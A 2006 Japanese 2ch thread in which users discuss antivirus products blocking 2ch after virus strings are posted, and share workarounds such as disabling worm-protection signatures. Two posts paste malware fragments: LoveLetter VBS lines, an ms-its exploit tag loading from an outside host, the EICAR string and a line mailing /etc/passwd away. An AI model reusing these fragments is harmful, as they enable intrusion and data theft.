○NAVを使っていて"このコンピュータに対する侵入 「HTTP MSIE JavaScript OnLoad
Rte CodeExec」 の試みを検出して遮断しました。"というメッセージが出て、
2chに30分間アクセスできなくなった時の対処方法(とりあえず)

1.NAVのオプション→インターネットワーム防止→「除外の設定」で、
「HTTP MSIE JavaScript OnLoad Rte CodeExec」のチェックをはずす
2.「AutoBlockルール」で、2chへの遮断を解除
3.スレを開いてログを取得する
4.専用ブラウザのあぼ〜ん設定で、NGWORDなどを使って、当該レスを表示しないようにする
5.手順1ではずした「除外の設定」のチェックを元に戻しておくのを忘れない
703動け動けウゴウゴ2ちゃんねる
垢版 |
2006/03/22(水) 19:04:03ID:ymCvr6qY0
ノートンの2002はマダ使えるノー。
2006/03/23(木) 04:48:52ID:knzg2z2B0
>>701
ついでにウイルスコードもまとめてあぼ〜ん指定したら
NGワードファイルがノートン先生に吹っ飛ばされますた。
俺バカス(´・ω・`)
705動け動けウゴウゴ2ちゃんねる
垢版 |
2006/03/23(木) 13:53:00ID:anluZr460
これにやられたのかな?
706ああああああああああああ
垢版 |
2006/03/23(木) 14:13:34ID:8snwN8ut0

キタ━━ <body onload=window()> ━━━ !!
2006/03/23(木) 17:03:54ID:YEG4wxWs0
>>706
だから貼るなっちゅうに
708動け動けウゴウゴ2ちゃんねる
垢版 |
2006/03/23(木) 20:56:17ID:yEL+otgn0
今日から仲間入りしましたNAV2006です。
2006/03/24(金) 03:21:19ID:UTBvDXUa0
ご愁傷様
2006/03/24(金) 07:14:40ID:i9GBvAYP0
NGワードに指定しても引っかかるんだけど
2006/03/24(金) 08:46:06ID:vILNut4O0
>>710
読み込んでからNGワードかどうか判断するから意味ないと思われ。
2006/03/24(金) 09:07:22ID:i9GBvAYP0
>>711
だよねえ。
上の方に「あぼ〜んで対処できた」って書いてあったから試してみたけど、
通信の時点で遮断しちゃうんだからローカルあぼ〜んじゃ
どうにもならないよね。
2006/03/24(金) 09:18:19ID:sLk1Hgj90
専用ブラウザの動作によるんじゃねえのか?
2006/03/24(金) 11:56:58ID:wt38hkxO0
Jane viewならNGワードでOKだよ。
もちろん初回はダメね。
2006/03/24(金) 14:04:40ID:EI6FM7wb0
ガセw
2006/03/24(金) 14:16:06ID:xwm6rnKy0
一度ノートン切って取得してから、レス消去したらその後は問題なかったよ。
ホットゾヌ2です。
2006/03/24(金) 18:05:08ID:tQr3xHLo0
一度ノートンを通さずにスレ取得する部分が重要であって、あぼーんする必要は無いってことかな?
718動け動けウゴウゴ2ちゃんねる
垢版 |
2006/03/24(金) 18:10:05ID:y5S9pPbQ0
このスレもウイルスがいるようだ。
ノートンが2度発動。しかも最新50で
2006/03/24(金) 19:23:19ID:bPqztrik0
>>717
ですね。
実際あぼーんしてなくても、いったん取得すれば問題ないし。
720動け動けウゴウゴ2ちゃんねる
垢版 |
2006/03/24(金) 21:22:57ID:hZPlzV+H0
誤作動に当たるのかわからんが、ノートン2005入れてて
今まで特に問題も無かったが最近エクセル開こうとしたら
「ウイルスチェックを開始します…」といって全く開けなくなった。
コレはどういうことなんですかね?解決策とかありますか?
2006/03/24(金) 21:27:39ID:r6Vhzw/P0
しらんがな
2006/03/24(金) 22:36:58ID:yqAK9A//0
まったくもって2ちゃんに関係ない
2006/03/24(金) 22:40:08ID:AY5Wzasy0
ここは2chのスレを見たらノートンが誤作動する人のスレです
2ch絡みでない誤作動の面倒を見るスレではありません

エクセルでの誤作動報告は当局に対して行ってください
2006/03/24(金) 22:49:05ID:98Y674mT0
つか運営系でノートンスレとあったら扱うのは2ch絡みのみ
それ以外は門前払いされるのは当然
2006/03/26(日) 00:52:32ID:XWLKIRWU0
アンチウイルス使ってるけど侵入検知とかって項目がない・・
しょうがなくAutoBlock見て解除してる
726動け動けウゴウゴ2ちゃんねる
垢版 |
2006/03/26(日) 15:57:37ID:BZxZKTBW0
>>725
そうなんだよ、それが見つからなくて困ってここに来たよ。
2006/03/26(日) 16:24:59ID:pwaEyKGo0
>>726
参考までに・・・ただし、自己責任で

ノートンアンチウイルス2006 Ver.1
http://pc8.2ch.net/test/read.cgi/sec/1129452372/996

> まず、オプション→インターネット→インターネットワーム防止→除外の設定で、

> HTTP MSIE JavaScript OnLoad Rte CodeExecのチェックを外す。

> そのあと、オプション→インターネット→インターネットワーム防止→
> AutoBlockルール→現在、AutoBlockで遮断しているコンピュータで、

> 遮断解除してok。で、ok。
2006/03/26(日) 16:48:28ID:UrgZmqGG0
>>727
おお、ありがとうございます。見れました。

うち2005なのに今日から突然誤作動が始まった・・・なんなんだ。
2006/03/26(日) 17:19:42ID:Y3ON9q4k0
NAVの場合、こういう方法もあります。onload〜の場合のみ。

1.スレッドを見ると
「「HTTP MSIE Java Script OnLoad Ret CodeExec」の試みを検出して遮断しました。」
という反応をする。

2.Norton AntiVirusのオプションを開いて、インターネットワーム防止を選択、
AutoBlockルールのリストから先程のIPアドレスを消して、閉じる。
インターネットワーム防止をオンにするのチェックを外して無効にする。

3.スレッドを再取得

4.http://www.geocities.jp/cen_hp/program3.html を使って無効化

5.インターネットワーム防止をオンにするのチェックをして有効にする。
730動け動けウゴウゴ2ちゃんねる
垢版 |
2006/03/26(日) 19:08:48ID:40HZ683F0
>>727
ν速だけ繋がらないから鯖落ちしてんのかと思った
おかげで助かりました
ありがとう
731動け動けウゴウゴ2ちゃんねる
垢版 |
2006/03/26(日) 19:27:00ID:iC6tWHU/0
馬鹿コードをはれないように2ちゃんのほうでなんとかならないものかな?
うっとうしくってしかたない。
2006/03/26(日) 19:27:45ID:Y7phTP2S0
ノートンに頼みましょう
2006/03/26(日) 19:38:27ID:btlK6zh50
>>731
>>167
まあこの2人がこう発言しているから、やらないでしょう。
734動け動けウゴウゴ2ちゃんねる
垢版 |
2006/03/26(日) 19:58:57ID:/R1Hc6p70
ノートンにしなきゃいい
735動け動けウゴウゴ2ちゃんねる
垢版 |
2006/03/26(日) 20:08:42ID:/R1Hc6p70
フィギュアなんか誰も見ないし、しかも荒川出てないんだし・・・
736動け動けウゴウゴ2ちゃんねる
垢版 |
2006/03/26(日) 20:11:55ID:/R1Hc6p70
・・・誤爆スマンカッタ
2006/03/26(日) 23:58:19ID:Rds5NGK80
(´-`).。oO(いちいちあげるか…)
2006/03/27(月) 00:57:22ID:3I+bmZi80
適当な文字を貼り付けるウイルス?あるじゃん
それで無差別にコード貼りまくられたら流石に2ちゃんも対応するだろ。
分からない人の苦情が殺到して対応に追われるから。
>>167は危機感足りないんじゃ?
2006/03/27(月) 01:02:58ID:AmYXUlqp0
単なる文字列であって実行ファイルではないのに検知する仕様をどうにかするのと
2ch側の対応、どっちが早いかな。
2006/03/27(月) 01:21:18ID:NmoRfDPm0
コード貼り付けなんて何年前からあると思ってんの。
今更危機感足りないとか対応とか望んでも無駄でしょう。

無差別に爆撃ってことなら、コード貼り付け関係なくその爆撃自体は対応するでしょうけどね。
2006/03/27(月) 01:21:46ID:e6NTu7TL0
>>738
今までの対応の仕方をみていて、単なる野次馬の予想ですが。

>適当な文字を貼り付けるウイルス?あるじゃん
これは対応すると思うが(現に今もやっている)

>それで無差別にコード貼りまくられたら流石に2ちゃんも対応するだろ。
>分からない人の苦情が殺到して対応に追われるから
こっちは対応いないんじゃないかな?

現に苦情が殺到中のコメントが>>167だった訳だし。
ノートンを切るか、2chに来ないかと言う答えになると思うよ。
2006/03/27(月) 02:08:38ID:CRZkjnUj0
ウィルスじゃないものに反応するものとしないもの、選択権はユーザーにあるわけで
シェアをトレンドマイクロに奪われたりすればシマンテックも誤作動対策に着手するかもしれないが
ユーザーに対策を押し付けるような商売してたら淘汰されるのも仕方ないと思う
2006/03/27(月) 03:02:31ID:stSyB+tW0
結局、「転んでも泣かない」が結論
744動け動けウゴウゴ2ちゃんねる
垢版 |
2006/03/27(月) 07:09:30ID:GKKli8mx0
何でこのスレはいろいろはってあるのにスレが取得できるの?
745sage
垢版 |
2006/03/27(月) 07:24:02ID:8a4Se6FG0

出会い系⇔ニューリンク
2006/03/27(月) 10:02:20ID:7R1vXd2PO
強いて言えば、危機感足りてないのはシマンテック。
NGNG
シマンテックの日本支社はおそらく事態を把握してるだろうけど、
エンジンを書き換えるとなると本社の対応が必要なわけで、
「ある一つの掲示板が見られなくなる」ということの重要性が
あっちに伝わらないんだろうと思われ。

1000万人のネットユーザから不買運動されたらさすがに考えると
思うけど、そういう組織だった動きにもなっていないし。

もっとも、Antinny亜種の対応に追われている状況では
2ちゃんに対してあまり好意的にはなれないことも考えられるが。
2006/03/27(月) 12:45:20ID:/XC2wMgb0
> もっとも、Antinny亜種の対応に追われている状況では
> 2ちゃんに対してあまり好意的にはなれないことも考えられるが。

ウィルスがあってこそのアンチウィルスソフトだから、
新種ウィルスの発現はむしろ喜ばしく思ってたりするんじゃないスかね
2006/03/27(月) 12:49:35ID:rmERapPS0
この期に及んで2ちゃんでの誤作動に対応したら面白いな
仕様変更しない限り対応はしないんじゃねえかなぁ
それともユーザーが束になって苦情入れたら対応するのかな?
2006/03/27(月) 12:50:05ID:/XC2wMgb0
スレ違いの部分にレスをつけてしまった予感
もしくは恋の予感
ごめん
751動け動けウゴウゴ2ちゃんねる
垢版 |
2006/03/27(月) 15:27:25ID:Jk15jv3kO
2ch対応
これだけで日本での売り上げが伸びるのにな
2006/03/27(月) 15:36:27ID:SAfGa+FD0
シマンテック本社に英文で熱烈なラブコールすればいいんじゃね?
NGNG
>>751
切に願う

ttp://dictionary.www.infoseek.co.jp/?sv=KO&qt=%C0%DA%A4%CB&sm=1&lp=0&se=on&gr=ml

>>752
言いだしっぺの(ry

ってラブレターなのかいw
http://pc7.2ch.net/test/read.cgi/pcqa/1109609938/365
無しの礫・・・
ソース入れたから撥ねられているんだろなぁ〜
Monazilla/1.00 (JaneView/0.1.12.1)
754動け動けウゴウゴ2ちゃんねる
垢版 |
2006/03/27(月) 16:34:49ID:6NuGU2zF0
対応する気なんか無いでしょ。
2002のころから、正規ユーザーとしてバージョンアップごとに
シマンテックにはご注進してきたのに、ラブレター文字列すら対応しないんだもの。

今回も、ワーム防止に自分ルール追加しろ、って返事だったよ。
(2chのサーバIPアドレスを信頼するように設定して回避しろと)
755動け動けウゴウゴ2ちゃんねる
垢版 |
2006/03/27(月) 16:58:55ID:vVYOuf/i0
さぁー回ってきましたっ!
この文を3〜10ヵ所に貼り付け、回してくださいw
これをやった貴方は絶対に夢や学校一のモテ仔に
なりますw
やんなかったら不幸が突撃します
もうココまで読んでしまった人は最低3ヵ所は回さないと絶対不幸が100%突撃して死亡するでしょう
この画像は最低3ヵ所回してから見てください
こちら
3〜10ヵ所って事は3箇所以上だったらなんでもいんですよっ!
やればやるほどし・あ・わ・せ!
これやった人は実際に
両思いになれたり、
学校一のモテ仔になれたり、
夢が叶ったり
欲しい物が手に入ったり。
一気に幸せが手に入ります
だから移せば移すほどお得!
成功した人の名前↓
山田三春
中野 純
その他にもたっくさん叶った人が居ます
だから回してね失敗した人なんて居ません
2006/03/27(月) 21:38:34ID:hQ0Nj+JU0
http://mickey.mirv.net/2chnis.html
にある対処方法(2chサーバのIPアドレスを除外する)はNISだけなんで、
NAV2005でそれらしい箇所探した。

「オプション」→「インターネットワーム防止」→「一般ルール」→「Default Non-Routable IPs」を「修正」→「処理」タブで「許可」→「コンピュータ」タブの「下のリストにあるコンピュータとサイトのみ」で「追加」→「個別」

のとこにコピペでいいと思う。右クリックで貼り付けがきかなかったので、Ctrl+Vでやった。
2006/03/27(月) 22:31:53ID:hM5eTmkR0
もしかして対応された?
遮断されるスレ開いても(ログも削除した)何も起きないんだけど
2006/03/27(月) 22:33:03ID:JGQYg4X+0
デジャブ
2006/03/28(火) 00:02:18ID:P/63CUXR0
2003だと対応の施しようがない・・・
2006/03/28(火) 21:07:54ID:TP3z61ts0
>>757
LiveUpdateしても、このスレを再所得すると反応するよ。
対応されていないのでは?
761動け動けウゴウゴ2ちゃんねる
垢版 |
2006/03/30(木) 19:46:50ID:+bc29xxf0
さっき先生が誤作動起した。
2ちゃんから攻撃されたので遮断しますたって
なんとか解除したけど
2006/03/31(金) 22:00:47ID:97YYo5Zc0
ノートンのソフト自体の終了方法ってないの?
タスクマネージャ見てもどれがどれだかさっぱり・・・。
2006/03/31(金) 23:28:25ID:tb37pHfX0
ノートンの機能自体の質問は板違いです
セキュリティ板のノートンスレとかシマンテックに聞け
2006/04/02(日) 01:06:00ID:m1WDj/aW0
当方AVGなんですが
http://tmp6.2ch.net/test/read.cgi/download/1142734610/
ここの2にAVGが反応するんですが
反応しないようにするにはどうしたらいいんですかね?
NGNG
そのスレをあぼーん。
ていうかうちもAVGだか、なんともないけどな?
2006/04/02(日) 03:11:11ID:DYw3aOAd0
おれもそっちは大丈夫
こっちがだめだ。875までは大丈夫だったんだけど
http://tmp6.2ch.net/test/read.cgi/download/1143304561/
2006/04/02(日) 16:52:52ID:8hEAiEMl0
>>764-766
まぁセキュリティ板行けって話だけど、AVGは有償のPro版でないと除外指定ができない。
2006/04/02(日) 16:55:22ID:YJTVT3eF0
昨日が3月32日だよ
2006/04/02(日) 16:56:11ID:YJTVT3eF0
誤爆スマソ
2006/04/02(日) 18:17:31ID:LqxABCFV0
今日ノートンが反応してここに誘導してもらって最初から読んでたけど、
NIS入れてないし侵入検知って項目も無いのに…て思ってたらNAVでも反応するのか。
ここまで読むの大変だったけどためになったわ有り難う
771動け動けウゴウゴ2ちゃんねる
垢版 |
2006/04/05(水) 06:28:02ID:L6X4AuEx0
当方マカフィーなのだが、下記のスレを取得しようとすると大激怒されて、
該当datが抹殺されたあげくネットアクセスが遮断されてしまう… orz

【領事館員自殺】中国側、機密を執拗に要求…総領事あての遺書入手(読売新聞)★2
ttp://news19.2ch.net/test/read.cgi/newsplus/1143894478/l50


…時々こういう事が起こるのだが、その都度運営板の
どこぞかの該当スレに通報した方がイイのかしらん?
2006/04/05(水) 07:24:50ID:IemTuPtY0
>>771
マカフィーも反応するんだ。そこの9スレ目で。
2006/04/05(水) 07:31:20ID:q7ZYjZaA0
>>771
とりあえず製品の不具合(ウィルスじゃないものに反応する)はマカフィーに通報でいい
774動け動けウゴウゴ2ちゃんねる
垢版 |
NGNG
>771-772
マカフィーを窓から投げ捨てろ。
さもなきゃ自分の頭を窓から投げ捨てろ。
2006/04/05(水) 07:44:55ID:IemTuPtY0
>>774
いやNIS2005だけどもうすぐ切れるからマカフィーにしようかなと。
2006/04/05(水) 22:06:28ID:vTdsxxJa0
アボーソすればいいじゃん。
漏れのノートン先生は無反応になったぜ。
専ブラ使っていれば、な。
777動け動けウゴウゴ2ちゃんねる
垢版 |
2006/04/06(木) 15:48:38ID:ogl3bSVi0
NAVの場合の設定を教えてくれー

インターネットワーム防止で
ナニをシグネチャ除外すれば良いんだ?
2006/04/06(木) 20:22:55ID:A4GZFMjG0
>>777
>>727
2006/04/06(木) 20:34:03ID:ogl3bSVi0
>>778
THX

HTTP MSIE JavaScript OnLoad Rte CodeExec

って 「MS IE」と別のとこにあるのな…ないよーと思って困ってました。
780動け動けウゴウゴ2ちゃんねる
垢版 |
2006/04/07(金) 10:26:14ID:9BaGKlIFO
ms-its:mhtml:file://C:\


c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")


<body onload=window()>


c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
ms-its:mhtml:file://c:\ 
kak.hta';ken=wd+'START
End Sub


G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WC
2006/04/07(金) 10:34:49ID:7L7IH86h0
>>780
で?
NGNG
ν速だけでも
伝書鳩
2006/04/07(金) 23:59:38ID:B6Wm8s4l0
↑なにこれ
2006/04/08(土) 05:07:05ID:yUO2NZXw0
ウィルスコードだろ
2006/04/08(土) 14:52:00ID:0n8hZvPv0
2005でも誤作動するようになったな
専ブラのあぼーんよりも先にノートンがdatに反応するようになったのが原因ぽい
2006/04/08(土) 18:22:00ID:3ZuAlp6E0
>>75で2chは問題なくなったがしたらばがまだだめだ
2006/04/08(土) 19:33:27ID:Dfxh+7wv0
にはは、こやつめ
2006/04/09(日) 08:35:16ID:qBdtQITt0
このスレ、更新しようとすると、NISにブロックされて、専ブラのタブが赤くなる。(JaneDoeStyle223)
あぼーんワードはどれですか?

今はNISを無効にしてカキコしています。
2006/04/09(日) 09:57:32ID:vW718YJi0
ログ読むと幸せになれるよ
2006/04/10(月) 18:40:26ID:6ukEWzx+0
>>521氏のレスを参考に汁
2006/04/10(月) 19:43:50ID:L1pXQnpL0
わかったにゃー
792788
垢版 |
2006/04/10(月) 23:20:01ID:2y1G/tIP0
>>510
>>512
>>517

これらはすべてアボーソしてあります。
NISの設定も変えていませんでした。

>>780-785あたりでJaneDoeStyle223がおかしくなりました。
他スレでは何ともありません。

で、あれからは、ログを取得し直しただけですが、無問題になりました。
いったい何だったんだろう。
ログが壊れただけだったのかな…。

2006/04/12(水) 15:42:54ID:ch5Pl/k40
なんかバスターが2ちゃんのスレをIEで見るとそれだけでウイルス検知するようになったらしいね・・・
先生よりアグレッシブだな
794動け動けウゴウゴ2ちゃんねる
垢版 |
2006/04/12(水) 16:23:57ID:QTtuslSa0
そのようだな

  ウィルスバスター蛾壊れた  
http://live22x.2ch.net/test/read.cgi/news/1144822966/
2006/04/12(水) 16:47:09ID:xZWLgV830
>>794
そしてもう対応
2006/04/12(水) 17:28:00ID:5RaY6XDD0
ああ、なんかさっきアップロードしおったのはそれか
2006/04/12(水) 18:58:07ID:1TPqXXUv0
まあ、あれだ。
アップデートとアップロードを間違えるのはここだけにしておけ。
2006/04/12(水) 20:31:16ID:5RaY6XDD0
素で間違えてた……orz
2006/04/13(木) 15:14:15ID:2EZeuwQo0
>>794
また誰かがウィルスコード貼ったのか…(泣

馬鹿フィーが大激怒 orz
800動け動けウゴウゴ2ちゃんねる
垢版 |
2006/04/15(土) 15:03:59ID:KVooKePH0
ダウン版見れないのはNISのせい?
2006/04/15(土) 15:34:28ID:28B7+P0x0
疑いを持ったなら
2006/04/15(土) 15:35:13ID:JEBS1g3C0
ノートン全部切ればわかる
2006/04/17(月) 22:27:09ID:jyqvkQIl0
道理だな。
2006/04/18(火) 01:55:50ID:jLocfvCR0
>>782はなに?
横棒と青字の伝書鳩ってなに
2006/04/18(火) 02:04:50ID:DZuh5+A/0
この板限定の機能
tasukeruyoするとuserAgent情報が表示される
でもスレ違い
Monazilla/1.00 (JaneStyle/2.23)
2006/04/18(火) 23:18:38ID:lCVacxaa0
すいません、私はノートンではなくシマンテックアンチウイルスを使ってるのですが、この場合はどのように対処すればいいんでしょうか
既出の問題でしたらすいません
2006/04/18(火) 23:21:27ID:cRD4gJ9i0
>>727
2006/04/19(水) 01:07:29ID:xlDAqNv20
>>807
ありがとうございます
私はノートンアンチウイルスではなくてシマンテックアンチウイルスを使ってるのですが、同じようにできるのですか?
オプションが見つからないのですが・・・
2006/04/19(水) 01:15:01ID:MYP2DCDw0
>>808
ノートンアンチウイルスの場合
オプション→インターネットワーム防止→有効にするのチェックはずしてみ
2006/04/19(水) 01:22:14ID:c9kwy/nh0
シマンテックアンチウイルスってはじめて聞いたや
ぐぐったところ企業用?
よくわからんが個人のPCにどこまで権限あるのかねぇ
2006/04/20(木) 14:40:19ID:cpaj9cKu0
>>810
説明不足ですいません、企業用のものです
一応無償でもらったノートPCなのですが・・・
ノートンに変えていいか聞いてみます
2006/04/26(水) 22:30:50ID:trBB8emg0
てst
Monazilla/1.00 (JaneStyle/2.23)
2006/04/27(木) 03:48:52ID:QJStxuh90
↑なんなのさコレ
2006/04/27(木) 03:57:17ID:ZtVWInwj0
>>813
>>805
2006/04/27(木) 04:11:59ID:vibsyTVj0
test
Monazilla/1.00 (JaneNida/060425)
2006/04/27(木) 04:19:36ID:2SuzC+KB0
[test] 書き込みテスト 専用スレッド 62 [テスト]
http://qb5.2ch.net/test/read.cgi/operate/1145833088/
817動け動けウゴウゴ2ちゃんねる
垢版 |
2006/04/29(土) 08:20:30ID:4i3tyZmJ0
また、マカフィーが大激怒…

任天堂新ハード正式名称発表その名も「wii(ウィー)」
ttp://live22x.2ch.net/test/read.cgi/news/1146155170/


…「ノートン先生」みたいに、スキャン対象から簡単に外せないんだから、ウィルスコード貼るな!


お願いしますよ orz
818動け動けウゴウゴ2ちゃんねる
垢版 |
2006/04/29(土) 09:51:08ID:v+w1epi4P
>>817
>>167
2006/04/29(土) 11:58:05ID:4i3tyZmJ0
『Exploit-MhtRedir.gen』止めて… (鬱氏
2006/05/01(月) 02:17:44ID:rDKzlRcj0
tes
Monazilla/1.00 (JaneNida/060425)
NGNG
【戦争】涼宮ハルヒED1位阻止大作戦【ν速対VIP】
http://live22x.2ch.net/test/read.cgi/news/1146579961/l50
たぶんこいつにやられた。実際食らったのは初めてだよ。
822187.72.30.125.dy.iij4u.or.jp(125.30.72.187)
垢版 |
2006/05/06(土) 02:41:29ID:y9hztnnP0
ためさせて・・
Monazilla/1.00 (V2C/T20060424)
2006/05/06(土) 11:37:58ID:Q5SbiF6F0
テストはこっちでやれや
[test] 書き込みテスト 専用スレッド 62 [テスト]
http://qb5.2ch.net/test/read.cgi/operate/1145833088/
2006/05/06(土) 13:12:03ID:AefHcCI10
あんちういるす2006の一般ルールで追加許可してもだめだ(´・ω・)ワケワカンネ
2006/05/06(土) 13:29:11ID:IDtWUQIu0
>>824
オプション→インターネットワーム防止→AutoBlockで遮断しているIPがあれば除外
→防止を有効にするのチェック外してログ取得
これでもダメ?
2006/05/06(土) 13:36:21ID:AefHcCI10
>>825
今やってみた、ダメだった(´・ω・)ccgrgfvvbtぶぐtvgfxdbcrgvf
2006/05/06(土) 13:42:19ID:AefHcCI10
>>825
あ、もう一回やってみたら大丈夫だった
828動け動けウゴウゴ2ちゃんねる
垢版 |
2006/05/13(土) 03:20:08ID:WH+6QveU0
また、コード貼った馬鹿が… orz

【国際】「麻薬の運び屋に仕立てられた」 無罪訴え続けた日本人男性、逮捕から14年で仮釈放…オーストラリア
ttp://news19.2ch.net/test/read.cgi/newsplus/1147357192/

シクシクシク
2006/05/13(土) 04:31:25ID:Wkna+nBH0
んなこといちいち報告するおのれも馬鹿じゃ
830動け動けウゴウゴ2ちゃんねる
垢版 |
2006/05/13(土) 10:31:19ID:ZNCsmQsr0
昨日あたりから板を開くとノートンが反応するんだけど、
同じ境遇の人っている?
2006/05/13(土) 10:33:30ID:gEdS6mBp0
>>830
よくある誤作動かと思います。
とりあえずノートン切ってから、ログ取得してみてください。
2006/05/13(土) 13:57:27ID:4Mz3XLyv0
ノートンを誤作動させる文字列は何年も前からあるし、シマンテックに連絡しても
これで正常と言って対策しない。
つまりシマンテックは自力で対策できる人だけ買ってくれればいいと言っている。
そんなソフトは>>167
2006/05/13(土) 18:17:51ID:MOWCA5430
AntiVirus の設定→除外→C:\Program Files\Jane\Logs
2chブラウザ使ってるならこれでいいでそ
2006/05/13(土) 23:52:46ID:MBoovNWj0
>>833
そりゃJaneの場合だろ。他の2chブラウザでも原理は同じだが。
2006/05/15(月) 18:54:17ID:PrBQtiGL0
Janeを開いたり更新をするたびに
C:\ProgramFiles\Jane Style\Logs\2ch\AA\AAサロン\subject.txt
この警告が出ます。
除外もしたり、このtxtを削除したりもするのですが効果が出ませんでした。
対処法をお願いします。
2006/05/15(月) 19:09:45ID:dDyR9/+20
>>835
ノートン?
なら、ログ除外でこのスレ見てみ。
2006/05/15(月) 19:10:13ID:NZqVc6Tk0
除外できてないから反応するんでしょ
2006/05/15(月) 19:11:15ID:oIiIaZFl0
だからノートンは使う人を選ぶんだってば
アンインストールして乗り換え
2006/05/15(月) 19:23:32ID:ykTsWDCL0
3日前から、ラウンジクラシックに入ろうとするとノートンアンチウイルス2005が反応して、
sports2鯖ごとノートンにアク禁されます。
一度踏むと30分間アク禁で、ノートン無効にしてもダメなので困ってます。

↓ログ

詳細: このコンピュータに対する侵入 「HTTP MSIE JavaScript OnLoad Rte CodeExec」 の試みを検出して遮断しました。
侵入者: sports2.2ch.net(210.(伏せ;侵入者のIPアドレス))(http(80)).
危険度: 高
プロトコル: TCP
攻撃された IP: DEFAULT(192.(伏せ;自分のPCのIPアドレス).1).
攻撃された ポート: xxxx
             ↑ランダム

これもウイルスコードの仕業ですか。
NGNG
>839
AntiVirusじゃなくPersonal Firewallを無効にしろ。
あとついでだが、192.168.*.*は隠す必要ないから。
2006/05/15(月) 20:59:11ID:NZqVc6Tk0
ついでに2ちゃんのIPも隠す必要皆無
つうか、このスレを読めよ
2006/05/15(月) 23:01:19ID:OR0kDpbn0
>>839
NISの方は
ttp://mickey.mirv.net/2chnis.html

NAVの方は>>727
をやってみれ
843動け動けウゴウゴ2ちゃんねる
垢版 |
2006/05/20(土) 02:01:04ID:UxN9/Hbe0
N速+でまた、幾つかのスレにウィルスコード張られてるなぁ…



貼る馬鹿は、樹海池
2006/05/20(土) 02:05:26ID:LBVUZ+TP0
そんなことでこのスレあげる奴が樹海池
2006/05/20(土) 02:08:04ID:4fzoyPrc0
貼る馬鹿っつーのは、他人の家に勝手に出前送りつけたり
ピンポンダッシュして物陰からニヤニヤしながら眺めてるような奴なのかな?
マジで樹海逝ってくれ
2006/05/20(土) 02:11:27ID:I6thLW4L0
実はバスター先生の社員
2006/05/20(土) 23:05:19ID:lD4S3eJm0
てす
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
2006/05/21(日) 00:06:52ID:UlnPDZzE0
[test] 書き込みテスト 専用スレッド 63 [テスト]
http://qb5.2ch.net/test/read.cgi/operate/1147513870/
849動け動けウゴウゴ2ちゃんねる
垢版 |
2006/05/21(日) 17:58:26ID:+w8Xwl0G0
ヽ(`Д´)ノウワァァン!!
2006/05/21(日) 23:34:09ID:d0y6j7aZ0
>>849
どした、どした?
851動け動けウゴウゴ2ちゃんねる
垢版 |
2006/05/22(月) 00:10:53ID:8SW5pKAP0
野豚先生のオートブロックからオカ板を救い出そうとしたんだけど、制限押しちゃった。
どうしたら制限解除できるか教えてえらい人。
2006/05/22(月) 05:24:43ID:wNSTIVWx0
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
2006/05/22(月) 17:32:45ID:YSvqyftL0
>>852
それがどうした?
854動け動けウゴウゴ2ちゃんねる
垢版 |
2006/05/22(月) 18:34:49ID:x/ho1oyO0
今日ノートンをつけたけど、ホントにウィルスが反応したwww
びっくりww
855動け動けウゴウゴ2ちゃんねる
垢版 |
2006/05/22(月) 18:38:22ID:3PLHq1aF0
http://fm7.biz/1px
2006/05/22(月) 19:15:02ID:xJ3koXsB0
×ウィルスが反応した
○ウィルスじゃないものに誤反応した
2006/05/22(月) 23:06:13ID:ETkw1oK20
おおう・・・アンチウイルスがMSIEJAVAオンロードに反応して
このスレの対策覗けなかったぜ
ワーム防止解除でやっと見れた

少し賢くなれた気がする。自分にとって不具合がある方がなあに、かえって免疫力がつく。
そして流石はノートン先生、生まれた子供を崖から消毒するだけのことはある。
2006/05/23(火) 08:29:28ID:n+xiKrcl0
>そして流石はノートン先生、生まれた子供を崖から消毒するだけのことはある。

ここんとこクソワロタ。

専用ブラウザ使ってる人は、852の書き込みをそのままNGワードのリストに貼っちゃうというのも
楽かも知れないですね、とか言ってみるテスト。
2006/05/29(月) 19:33:35ID:AsWTfeTp0
このスレ開いたらキタ━━━━(゚∀゚)━━━━!!とか出た
2006/06/01(木) 08:12:48ID:3zZVmq9d0
今日反応したスレ

【日テレ隠蔽疑惑】炭谷宗佑アナを報じない日テレ、容疑否認のテレ東社員を実名報道 テレ東も即日実名で伝える★2
http://news19.2ch.net/test/read.cgi/newsplus/1148999462/

…この騒動が起きてから、幾つかの『日テレ隠蔽疑惑』関連スレに、
ウィルスコード貼ってる香具師が居るなぁ




まさか、関係者?>コード貼る馬鹿
2006/06/01(木) 14:26:23ID:42ynq1S/0
祭りのスレに貼られるのはお約束となっております
いちいち反応しないでください
862softbank220001088253.bbtec.net(220.1.88.253)
垢版 |
2006/06/01(木) 22:47:23ID:/syViJED0
どう?
Monazilla/1.00 (cockcrow/2.5.5.5)
863動け動けウゴウゴ2ちゃんねる
垢版 |
